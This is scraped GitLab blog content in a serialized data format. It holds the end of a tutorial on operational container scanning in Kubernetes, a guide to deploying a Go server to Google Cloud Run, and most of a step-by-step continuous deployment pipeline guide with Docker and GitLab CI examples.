project.\n\n### Navigate to Kubernetes clusters page of the project\n\nIn the GitLab UI, select the **Operate > Kubernetes clusters** tab of the forked project. Click the **Connect a cluster (agent)** button. Add the name of the agent to the input box under `Option 2: Create and register an agent with the UI` and then click **Create and register**. In this case, the name of the agent is `k8s-agent` since the folder under agents with the `config.yaml` file is named `k8s-agent`. Note that this folder can have any name that follows [Kubernetes naming restrictions](https://docs.gitlab.com/ee/user/clusters/agent/install/#create-an-agent-configuration-file) and that `k8s-agent` is just being used for simplicity.\n\n### Install the GitLab Kubernetes agent\n\nAfter registering the agent, you will be asked to run a helm command shown in the GitLab UI from your command line against your Kubernetes cluster. Before running the command, make sure your `KUBECONFIG` is still connected to the same cluster where you deployed the sample application. \n\nAfter running the helm command successfully, wait for all pods to be running in the `gitlab-agent-k8s-agent` namespace on your cluster. You can wait for everything to be running using the following command: \n\n```bash  \n$ kubectl get pods -n gitlab-agent-k8s-agent -w  \n``` \n\nYou should see similar output to what is shown below:\n\n```  \nNAME                                         READY   STATUS    RESTARTS   AGE  \nk8s-agent-gitlab-agent-v2-6bb676b6bf-v4qml   1/1     Running   0          10m  \nk8s-agent-gitlab-agent-v2-6bb676b6bf-xt7xh   1/1     Running   0          10m  \n```\n\nOnce the pods are running, your GitLab project should be connected to your Kubernetes cluster and ready to use the Operational Container Scanning feature. Before proceeding, continue running the `kubectl get pods -n gitlab-agent-k8s-agent -w` command to help explain concepts in the next section.\n\n## Operational Container Scanning\n\nIn addition to the pods for the GitLab agent running in the `gitlab-agent-k8s-agent` namespace, there should eventually be another pod named `trivy-scan-go-web-server-dev`. This pod will start and run on a regular cadence and conduct a container vulnerability scan using a tool named [trivy](https://trivy.dev/latest/) against the `go-web-server-dev` namespace where the sample application deployed earlier is running. \n\nThe Operational Container Scanning properties are defined in the [`config.yaml` file](https://gitlab.com/gitlab-da/tutorials/cloud-native/operational-container-scanning-tutorial/-/blob/main/.gitlab/agents/k8s-agent/config.yaml?ref_type=heads#L6-L10) used to set up the GitLab agent for Kubernetes on your cluster. \n\nThe two main properties to define are `cadence`, which specifies how frequently to run the container vulnerability scan, and also the `namespaces` property nested under `vulnerability_report`, which defines one or more namespaces to conduct the scan on. You can see how this looks in `config.yaml` below:\n\n```yaml  \ncontainer_scanning:  \n  cadence: '*/5 * * * *'  \n  vulnerability_report:  \n    namespaces:  \n      - go-web-server-dev  \n```\n\nThe cadence follows a cron format. In this case, `*/5 * * * *` means the scan will be run every five minutes, but this can be changed to any amount of time (e.g., every 24 hours).  \n\nThe vulnerabilities revealed by the scan for containers running in the `go-web-server-dev` namespace are sent back to your GitLab project. To see the results, go to the GitLab UI and select your forked project. Select the **Secure > Vulnerability report** option for the project and then select the **Operational vulnerabilities** tab to view scan results. \n\nThe scan results will include information on the severity of the common vulnerabilities and exposures (CVEs), along with the name of the image. By using the tag of the image to include the version of the deployed software along with what environment it is deployed to, you can begin to audit what known vulnerabilities exist in your Kubernetes environments and keep track of how they are being addressed by engineering teams.\n\nWatch this demo for more information:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/2FVQec2J-Ew?si=T6kwPMnPAGwKlkfP\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Share your feedback\n\nAdding GitLab’s Operational Container Scanning to your Kubernetes environments can help development, security, and infrastructure teams have a consistent picture of container security in Kubernetes environments across an organization. In addition to GitLab’s CI container scanning capabilities and the ability to [scan containers pushed to GitLab’s container registry](https://www.youtube.com/watch?v=Zuk7Axs-CRw), GitLab has solutions at every phase of the software development lifecycle to address container security concerns.\n\nYou can share your feedback on Operational Container Scanning in this [forum post](https://forum.gitlab.com/t/operational-container-scanning-feedback/119479), which we will share with our product and engineering teams supporting this feature. You can get started with Operational Container Scanning by reading the [documentation on the feature](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) and [starting a 60-day free trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).",[754,943,696,674,695],{"slug":2762,"featured":6,"template":678},"improve-security-auditing-with-gitlab-operational-container-scanning","content:en-us:blog:improve-security-auditing-with-gitlab-operational-container-scanning.yml","Improve Security Auditing With Gitlab Operational Container Scanning","en-us/blog/improve-security-auditing-with-gitlab-operational-container-scanning.yml","en-us/blog/improve-security-auditing-with-gitlab-operational-container-scanning",{"_path":2768,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2769,"content":2775,"config":2781,"_id":2783,"_type":16,"title":2784,"_source":17,"_file":2785,"_stem":2786,"_extension":20},"/en-us/blog/deploy-a-server-using-go-with-gitlab-google-cloud",{"title":2770,"description":2771,"ogTitle":2770,"ogDescription":2771,"noIndex":6,"ogImage":2772,"ogUrl":2773,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2773,"schema":2774},"Deploy a server using Go with GitLab + Google Cloud","This tutorial shows how to use GitLab’s Google Cloud integration to deploy a Golang server in less than 10 minutes, helping developers become more independent and efficient.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098028/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945_fJKX41PJHKCfSOWw4xQxm_1750098028126.png","https://about.gitlab.com/blog/deploy-a-server-using-go-with-gitlab-google-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Deploy a server using Go with GitLab + Google Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Claire Champernowne\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2025-01-28\",\n      }",{"title":2770,"description":2771,"authors":2776,"heroImage":2772,"date":2778,"body":2779,"category":695,"tags":2780},[2777,2621],"Claire Champernowne","2025-01-28","Deploying an application to the cloud often requires assistance from production or DevOps engineers. GitLab's Google Cloud integration empowers developers to handle deployments independently. In this tutorial, you'll learn how to deploy a server to Google Cloud in less than 10 minutes using Go. Whether you’re a solo developer or part of a large team, this setup allows you to deploy applications efficiently.\n\n## You'll learn how to:\n\n1. Create a new project in GitLab\n2. Create a Go server utilizing `main.go`\n3. Use the Google Cloud integration to create a Service account\n4. Use the Google Cloud integration to create Cloud Run via a merge request\n5. Access your newly deployed Go server\n6. Clean up your environment\n\n## Prerequisites\n\n- Owner access on a Google Cloud Platform project\n- Working knowledge of Golang\n- Working knowledge of GitLab CI\n- 10 minutes\n\n## Step-by-step Golang server deployment to Google Cloud\n\n### 1. Create a new blank project in GitLab.\n\nWe decided to call our project `golang-cloud-run` for simplicity.\n\n![Create a new blank project in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098035249.png)\n\n### 2. Create a server utilizing this `main.go` demo.\n\nFind the `main.go` demo [here](https://gitlab.com/demos/applications/golang-cloud-run).\n\n```\n// Sample run-helloworld is a minimal Cloud Run service.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\tlog.Print(\"starting server...\")\n\thttp.HandleFunc(\"/\", handler)\n\n\t// Determine port for HTTP service.\n\tport := os.Getenv(\"PORT\")\n\tif port == \"\" {\n\t\tport = \"8080\"\n\t\tlog.Printf(\"defaulting to port %s\", port)\n\t}\n\n\t// Start HTTP server.\n\tlog.Printf(\"listening on port %s\", port)\n\tif err := http.ListenAndServe(\":\"+port, nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tname := os.Getenv(\"NAME\")\n\tif name == \"\" {\n\t\tname = \"World\"\n\t}\n\tfmt.Fprintf(w, \"Hello %s!\\n\", name)\n}\n```\n\n### 3. Use the Google Cloud integration to create a Service account.\n\nNavigate to **Operate \\> Google Cloud \\> Create Service account**.\n\n![Golang tutorial - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098036/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750098035250.png)\n\n### 4. Configure the region you would like the Cloud Run instance deployed to.\n\n![Golang tutorial - image10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098035252.png)\n\n### 5. Use the Google Cloud integration to configure Cloud Run via Merge Request.\n\n![Golang tutorial - image4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098035254.png)\n\n### 6. This will open a merge request. Immediately merge the MR.\n\n![Golang tutorial - image6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098036/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098035257.png)\n\nThis merge request adds a CI/CD deployment job to your pipeline definition. In our case, this is also creating a pipeline definition, as we didn’t have one before.\n\n**Note:** The CI/CD variables `GCP_PROJECT_ID`, `GCP_REGION`, `GCP_SERVICE_ACCOUNT`, `GCP_SERVICE_ACCOUNT_KEY` will all be automatically populated from the previous steps. \n\n![Golang tutorial - image7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098035259.png)\n\n### 7. Voila! Check your pipeline and you will see you have successfully deployed to Google Cloud Run utilizing GitLab CI.\n\n![Golang tutorial - image2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098035261.png)\n\n\u003Cbr>\n\n![Golang tutorial - image3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098035262.png)\n\n## 8. Click the Service URL to view your newly deployed server.\n\nAlternatively, you can navigate to **Operate \\> Environments** to see a list of deployments for your environments.\n\n![Golang tutorial - image5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098035264.png)\n\nBy clicking on the environment called **main**, you’ll be able to view a complete list of deployments specific to that environment.\n\n![Golang tutorial - image8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098035/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098035265.png)\n\n## Next steps\n\nTo get started with developing your Go application, try adding another endpoint. For instance, in your `main.go` file, you can add a `/bye` endpoint as shown below (don’t forget to register the new handler function in main!):\n\n```\nfunc main() {\n\tlog.Print(\"starting server...\")\n\n\thttp.HandleFunc(\"/\", handler)\n\thttp.HandleFunc(\"/bye\", byeHandler)\n```\n\n```\nfunc byeHandler(w http.ResponseWriter, r *http.Request) {\n\tname := os.Getenv(\"NAME\")\n\tif name == \"\" {\n\t\tname = \"World\"\n\t}\n\tfmt.Fprintf(w, \"Bye %s!\\n\", name)\n}\n```\n\nYour `main.go` file should now look something like this:\n\n```\n// Sample run-helloworld is a minimal Cloud Run service.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n)\n\nfunc main() {\n\tlog.Print(\"starting server...\")\n\n\thttp.HandleFunc(\"/\", handler)\n\n\thttp.HandleFunc(\"/bye\", byeHandler)\n\n\t// Determine port for HTTP service.\n\tport := os.Getenv(\"PORT\")\n\tif port == \"\" {\n\t\tport = \"8080\"\n\t\tlog.Printf(\"defaulting to port %s\", port)\n\t}\n\n\t// Start HTTP server.\n\tlog.Printf(\"listening on port %s\", port)\n\tif err := http.ListenAndServe(\":\"+port, nil); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tname := os.Getenv(\"NAME\")\n\tif name == \"\" {\n\t\tname = \"World\"\n\t}\n\tfmt.Fprintf(w, \"Hello %s!\\n\", name)\n}\n\nfunc byeHandler(w http.ResponseWriter, r *http.Request) {\n\tname := os.Getenv(\"NAME\")\n\tif name == \"\" {\n\t\tname = \"World\"\n\t}\n\tfmt.Fprintf(w, \"Bye %s!\\n\", name)\n}\n```\n\nPush the changes to the repo, and watch the `deploy-to-cloud-run job` deploy the updates. Once it’s complete, go back to the Service URL and navigate to the `/bye` endpoint to see the new functionality in action.\n\n## Clean up the environment\n\nTo prevent incurring charges on your Google Cloud account for the resources used in this tutorial, you can either delete the specific resources or delete the entire Google Cloud project. For detailed instructions, refer to the [cleanup guide](https://docs.gitlab.com/ee/tutorials/create_and_deploy_web_service_with_google_cloud_run_component/#clean-up).\n\n> Discover more tutorials like this in our [Solutions Architecture](https://about.gitlab.com/blog/tags/solutions-architecture/) area.\n",[943,479,696,2488,695,754],{"slug":2782,"featured":6,"template":678},"deploy-a-server-using-go-with-gitlab-google-cloud","content:en-us:blog:deploy-a-server-using-go-with-gitlab-google-cloud.yml","Deploy A Server Using Go With Gitlab Google Cloud","en-us/blog/deploy-a-server-using-go-with-gitlab-google-cloud.yml","en-us/blog/deploy-a-server-using-go-with-gitlab-google-cloud",{"_path":2788,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2789,"content":2795,"config":2800,"_id":2802,"_type":16,"title":2803,"_source":17,"_file":2804,"_stem":2805,"_extension":20},"/en-us/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab",{"title":2790,"description":2791,"ogTitle":2790,"ogDescription":2791,"noIndex":6,"ogImage":2792,"ogUrl":2793,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2793,"schema":2794},"From code to production: A guide to continuous deployment with GitLab","Learn how to get started building a robust continuous deployment pipeline in GitLab. Follow these step-by-step instructions, practical examples, and best practices.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659478/Blog/Hero%20Images/REFERENCE_-_Use_this_page_as_a_reference_for_thumbnail_sizes.png","https://about.gitlab.com/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"From code to production: A guide to continuous deployment with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Benjamin Skierlak\"},{\"@type\":\"Person\",\"name\":\"James Wormwell\"}],\n        \"datePublished\": \"2025-01-28\",\n      }",{"title":2790,"description":2791,"authors":2796,"heroImage":2792,"date":2778,"body":2798,"category":695,"tags":2799},[2797,1106],"Benjamin Skierlak","Continuous deployment is a game-changing practice that enables teams to deliver value faster, with higher confidence. However, diving into advanced deployment workflows — such as GitOps, container orchestration with Kubernetes, or dynamic environments — can be intimidating for teams just starting out.\n\nAt GitLab, we're committed to making delivery seamless and scalable. By enabling teams to focus on the fundamentals, we empower them to build a strong foundation that supports growth into more complex strategies over time. This guide provides essential steps to begin implementing continuous deployment with GitLab, laying the foundation for your long-term success.\n\n## Start with a workflow plan\n\nBefore diving into the technical implementation, take time to map out your deployment workflow. Success lies in careful planning and a methodical approach.\n\n### Artifact management strategy\n\nIn the context of continuous deployment, artifacts are the packaged outputs of your build process that need to be stored, versioned, and deployed. These could be:\n\n- container images for your applications\n- packages\n- compiled binaries or executables\n- libraries\n- configuration files\n- documentation packages\n- other artifacts\n\nEach type of artifact plays a specific role in your deployment process. For example, a typical web application might generate:\n\n- a container image for the backend service\n- a ZIP archive of compiled frontend assets\n- SQL files for database changes\n- environment-specific configuration files\n\nManaging these artifacts effectively is crucial for successful deployments. Here's how to approach artifact management.\n\n#### Artifacts and releases versioning strategies\n\nA best practice to get you started with a clean structure is to establish a clear versioning strategy for your artifacts. When creating releases:\n\n- Use semantic versioning (major.minor.patch) for release tags\n  - Example: `myapp:1.2.3` for a stable release\n  - Major version changes (2.0.0) for breaking changes\n  - Minor version changes (1.3.0) for new features\n  - Patch version changes (1.2.4) for bug fixes\n- Maintain a 'latest' tag for the most recent stable version\n  - Example: `myapp:latest` for automated deployments\n- Include commit SHA for precise version tracking\n  - Example: `myapp:1.2.3-abc123f` for debugging\n- Consider branch-based tags for development environments\n  - Example: `myapp:feature-user-auth` for feature testing\n\n#### Build artifacts retention\n\nImplement defined retention rules:\n\n- Set explicit expiration timeframes for temporary artifacts\n- Define which artifacts need permanent retention\n- Configure cleanup policies to manage storage\n\n#### Registry access and authentication\n\nSecure your artifacts with proper access controls:\n\n- Implement Personal Access Tokens for developer access\n- Configure CI/CD variables for pipeline authentication\n- Set up proper access scopes\n\n### Environment strategy\n\nConsider your environments early, as they shape your entire deployment pipeline:\n\n- Development, staging, and production environment configurations\n- Environment-specific variables and secrets\n- Access controls and protection rules\n- Deployment tracking and monitoring approach\n\n### Deployment targets\n\nBe intentional as to where and how you'll deploy, these decisions matter and the benefits and drawbacks of each should be consider:\n\n- Infrastructure requirements (VMs, containers, cloud services)\n- Network access and security configurations\n- Authentication mechanisms (SSH keys, access tokens)\n- Resource allocation and scaling considerations\n\nWith our strategy defined and foundational decisions made, we can now translate these plans into a working pipeline. We'll build a practical example that demonstrates these concepts, starting with a simple application and progressively adding deployment capabilities.\n\n## Implementing your CD pipeline\n\n### A step-by-step example\n\nLet's walk through implementing a basic continuous deployment pipeline for a web application. We'll use a simple HTML application as an example, but these principles apply to any type of application. We’re also going to deploy our application as a Docker image on a simple virtual machine. This will allow us to lean on a curated image with minimum dependencies, and to ensure no environment specific requirements are unintentionally brought in. By working on a virtual machine, we won’t be leveraging GitLab’s native integrations, allowing us to work on an easier but less scalable setup to begin with.\n\n#### Prerequisites\n\nIn this example, we’ll aim to containerize an application that we’ll run on a virtual machine hosted on a cloud provider. We’ll also test this application locally on our machine. This list of prerequisites is only needed for this scenario.\n\n##### Virtual machine setup\n\n- Provision a VM in your preferred cloud provider (e.g., GCP, AWS, Azure)\n- Configure network rules to allow access on ports 22, 80, and 443\n- Record the machine's public IP address for deployment\n\n##### Set up SSH authentication:\n\n- Generate a public/private key pair for the machine\n- In GitLab, go to **Settings > CI/CD > Variables**\n- Create a variable called `GITLAB_KEY`\n- Set Type to \"File\" (required for SSH authentication)\n- Paste the private key in the Value field\n- Define a USER variable, this is the user logging in and running the scripts on your VM\n\n##### Configure deployment variables\n\n- Create variables for your deployment targets:\n  - `STAGING_TARGET`: Your staging server IP/domain\n  - `PRODUCTION_TARGET`: Your production server IP/domain\n\n##### Local development setup\n\n- Install Docker on your local machine for testing deployments\n\n##### GitLab Container Registry access\n\n- Locate your registry path:\n  - Navigate to **Deploy > Container Registry**\n  - Copy the registry path (e.g., registry.gitlab.com/group/project)\n- Set up authentication:\n  - Go to **Settings > Access Tokens**\n  - Create a new token with registry access\n  - Token expiration: Maximum 1 year\n  - Save the token securely\n- Configure local registry access:\n\n```\ndocker login registry.gitlab.com\n# The username if you are using a PAT is gitlab-ci-token\n# Password: your-access-token\n```\n\n#### 1. Create your application\n\nStart with a basic web application. For our example, we're using a simple HTML page:\n\n```\n\u003C!-- index.html -->\n\u003Chtml>\n  \u003Chead>\n    \u003Cstyle>\n      body {\n        background-color: #171321; /* GitLab dark */\n      }\n    \u003C/style>\n  \u003C/head>\n  \u003Cbody>\n    \u003C!-- Your content here -->\n  \u003C/body>\n\u003C/html>\n```\n\n#### 2. Containerize your application\n\nCreate a Dockerfile to package your application:\n\n```\nFROM nginx:1.26.2\nCOPY index.html /usr/share/nginx/html/index.html\n```\n\nThis Dockerfile:\n\n- Uses nginx as a base image for serving web content\n- Copies your HTML file to the correct location in the nginx directory structure\n\n#### 3. Set up your CI/CD pipeline\n\nCreate a `.gitlab-ci.yml` file to define your pipeline stages:\n\n```\nvariables:\n  TAG_LATEST: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:latest\n  TAG_COMMIT: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:$CI_COMMIT_SHA\n\nstages:\n  - publish\n  - deploy\n```\n\nLet's break it down:\n\n`TAG_LATEST` is made up of three parts:\n\n- `$CI_REGISTRY_IMAGE` is the path to your project's container registry in GitLab\n\nFor example: `registry.gitlab.com/your-group/your-project`\n\n- `$CI_COMMIT_REF_NAME` is the name of your branch or tag\n\nFor example, if you're on main branch: `/main`, and if you're on a feature branch: `/feature-login`\n\n- `:latest` is a fixed suffix\n\nSo if you're on the main branch, `TAG_LATEST` becomes: `registry.gitlab.com/your-group/your-project/main:latest`.\n\n`TAG_COMMIT` is almost identical, but instead of `:latest`, it uses: `$CI_COMMIT_SHA` which is the commit identifier, for example: `:abc123def456`.\n\nSo for that same commit on main branch, `TAG_COMMIT` becomes:` registry.gitlab.com/your-group/your-project/main:abc123def456`.\n\nThe reason for having both is `TAG_LATEST` gives you an easy way to always get the newest version, and `TAG_COMMIT` gives you a specific version you can return to if needed.\n\n#### 4. Publish to the container registry\n\nAdd the publish job to your pipeline:\n\n```\npublish:\n  stage: publish\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $TAG_LATEST -t $TAG_COMMIT .\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $TAG_LATEST\n    - docker push $TAG_COMMIT\n```\n\nThis job:\n\n- Uses Docker-in-Docker to build images\n- Creates two tagged versions of your image\n- Authenticates with the GitLab registry\n- Pushes both versions to the registry \n\nNow that our images are safely stored in the registry, we can focus on deploying them to our target environments. Let's start with local testing to validate our setup before moving to production deployments.\n\n#### 5. Deploy to your environment\n\nBefore deploying to production, you can test locally. We just published our image to the GitLab repository, which we’ll pull locally. If you’re unsure of the exact path, navigate to **Deploy > Container Registry**, and you should see an icon to copy the path of your image at the end of the line for the container image you want to test.\n\n```\ndocker login registry.gitlab.com \ndocker run -p 80:80 registry.gitlab.com/your-project-path/main:latest\n```\n\nBy doing so you should be able to access your application locally on your localhost address through your web browser.\n\nYou can now add a deployment job to your pipeline:\n\n```\ndeploy:\n  stage: deploy\n  image: alpine:latest\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$TARGET_SERVER \n      docker pull $TAG_COMMIT &&\n      docker rm -f myapp || true &&\n      docker run -d -p 80:80 --name myapp $TAG_COMMIT\n```\n\nThis job:\n\n- Sets up SSH access to your deployment target\n- Pulls the latest image\n- Removes any existing container\n- Deploys the new version\n\n#### 6. Track deployments\n\nEnable deployment tracking by adding environment configuration:\n\n```\ndeploy:\n  environment:\n    name: production\n    url: https://your-application-url.com \n```\n\nThis creates an environment object in GitLab's **Operate > Environments** section, providing:\n\n- Deployment history\n- Current deployment status\n- Quick access to your application\n\nWhile a single environment pipeline is a good starting point, most teams need to manage multiple environments for proper testing and staging. Let's expand our pipeline to handle this more realistic scenario.\n\n#### 7. Set up multiple environments\n\nFor a more robust pipeline, configure staging and production deployments:\n\n```\nstages:\n  - publish\n  - staging\n  - release\n  - version\n  - production\n\nstaging:\n  stage: staging\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  environment:\n    name: staging\n    url: https://staging.your-app.com\n  # deployment script here\n\nproduction:\n  stage: production\n  rules:\n    - if: $CI_COMMIT_TAG\n  environment:\n    name: production\n    url: https://your-app.com\n  # deployment script here\n```\n\nThis setup:\n\n- Deploys to staging from your main branch\n- Uses GitLab tags to trigger production deployments\n- Provides separate tracking for each environment\n\nHere and in our next step, we’re leveraging a very useful GitLab feature: tags. By manually creating a tag in the **Code > Tags** section, the `$CI_COMMIT_TAG` gets created, which allows us to trigger jobs accordingly.\n\n#### 8. Create automated release notes\n\nWe'll be using GitLab's release capabilities through our CI/CD pipeline. First, update your stages in `.gitlab-ci.yml`:\n\n```\nstages:\n\n- publish\n- staging\n- release # New stage for releases\n- version\n- production\n```\n\nNext, add the release job:\n\n```\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  rules:\n    - if: $CI_COMMIT_TAG                  # Only run when a tag is created\n  script:\n    - echo \"Creating release for $CI_COMMIT_TAG\"\n  release:                                # Release configuration\n    name: 'Release $CI_COMMIT_TAG'\n    description: 'Release created from $CI_COMMIT_TAG'\n    tag_name: '$CI_COMMIT_TAG'           # The tag to create\n    ref: '$CI_COMMIT_TAG'                # The tag to base release on\n```\n\nYou can enhance this by adding links to your container images:\n\n```\nrelease:\n  name: 'Release $CI_COMMIT_TAG'\n  description: 'Release created from $CI_COMMIT_TAG'\n  tag_name: '$CI_COMMIT_TAG'\n  ref: '$CI_COMMIT_TAG'\n  assets:\n    links:\n      - name: 'Container Image'\n        url: '$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG'\n        link_type: 'image'\n```\n\nFor meaningful automated release notes:\n\n- Use conventional commits (feat:, fix:, etc.)\n- Include issue numbers (#123)\n- Separate subject from body with blank line\n\nIf you want custom release notes with deployment info:\n\n```\nrelease_job:\n  script:\n    - |\n      DEPLOY_TIME=$(date '+%Y-%m-%d %H:%M:%S')\n      CHANGES=$(git log $(git describe --tags --abbrev=0 @^)..@ --pretty=format:\"- %s\")\n      cat > release_notes.md \u003C\u003C EOF\n      ## Deployment Info\n      - Deployed on: $DEPLOY_TIME\n      - Environment: Production\n      - Version: $CI_COMMIT_TAG\n\n      ## Changes\n      $CHANGES\n\n      ## Artifacts\n      - Container Image: \\`$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\\`\n      EOF\n  release:\n    description: './release_notes.md'\n```\n\nOnce configured, releases will be created automatically when you create a Git tag. You can view them in GitLab under **Deploy > Releases**.\n\n#### 9. Put it all together\n\nThis is what our final YAML file looks like:\n\n```\nvariables:\n  TAG_LATEST: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:latest\n  TAG_COMMIT: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:$CI_COMMIT_SHA\n  STAGING_TARGET: $STAGING_TARGET    # Set in CI/CD Variables\n  PRODUCTION_TARGET: $PRODUCTION_TARGET  # Set in CI/CD Variables\n\nstages:\n  - publish\n  - staging\n  - release\n  - version\n  - production\n\n# Build and publish to registry\npublish:\n  stage: publish\n  image: docker:latest\n  services:\n    - docker:dind\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  script:\n    - docker build -t $TAG_LATEST -t $TAG_COMMIT .\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $TAG_LATEST\n    - docker push $TAG_COMMIT\n\n# Deploy to staging\nstaging:\n  stage: staging\n  image: alpine:latest\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$STAGING_TARGET \"\n        docker pull $TAG_COMMIT &&\n        docker rm -f myapp || true &&\n        docker run -d -p 80:80 --name myapp $TAG_COMMIT\"\n  environment:\n    name: staging\n    url: http://$STAGING_TARGET\n\n# Create release\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - |\n      DEPLOY_TIME=$(date '+%Y-%m-%d %H:%M:%S')\n      CHANGES=$(git log $(git describe --tags --abbrev=0 @^)..@ --pretty=format:\"- %s\")\n      cat > release_notes.md \u003C\u003C EOF\n      ## Deployment Info\n      - Deployed on: $DEPLOY_TIME\n      - Environment: Production\n      - Version: $CI_COMMIT_TAG\n\n      ## Changes\n      $CHANGES\n\n      ## Artifacts\n      - Container Image: \\`$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\\`\n      EOF\n  release:\n    name: 'Release $CI_COMMIT_TAG'\n    description: './release_notes.md'\n    tag_name: '$CI_COMMIT_TAG'\n    ref: '$CI_COMMIT_TAG'\n    assets:\n      links:\n        - name: 'Container Image'\n          url: '$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG'\n          link_type: 'image'\n\n# Version the image with release tag\nversion_job:\n  stage: version\n  image: docker:latest\n  services:\n    - docker:dind\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - docker pull $TAG_COMMIT\n    - docker tag $TAG_COMMIT $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\n\n# Deploy to production\nproduction:\n  stage: production\n  image: alpine:latest\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$PRODUCTION_TARGET \"\n        docker pull $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG &&\n        docker rm -f myapp || true &&\n        docker run -d -p 80:80 --name myapp $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\"\n  environment:\n    name: production\n    url: http://$PRODUCTION_TARGET\n```\n\nThis complete pipeline:\n\n- Publishes images to the registry (main branch)\n- Deploys to staging (main branch)\n- Creates releases (on tags)\n- Versions images with release tags\n- Deploys to production (on tags)\n\nKey benefits:\n\n- Clean reproducible, local development and testing environment\n- Clear path to production environments with structure to build confidence in what is deployed\n- Pattern to recover from unexpected failures, etc.\n- Ready to scale/adopt more complex deployment strategies\n\n### Best practices\n\nThroughout implementation, maintain these principles:\n\n- Document everything, from variable usage to deployment procedures\n- Use GitLab's built-in features (environments, releases, registry)\n- 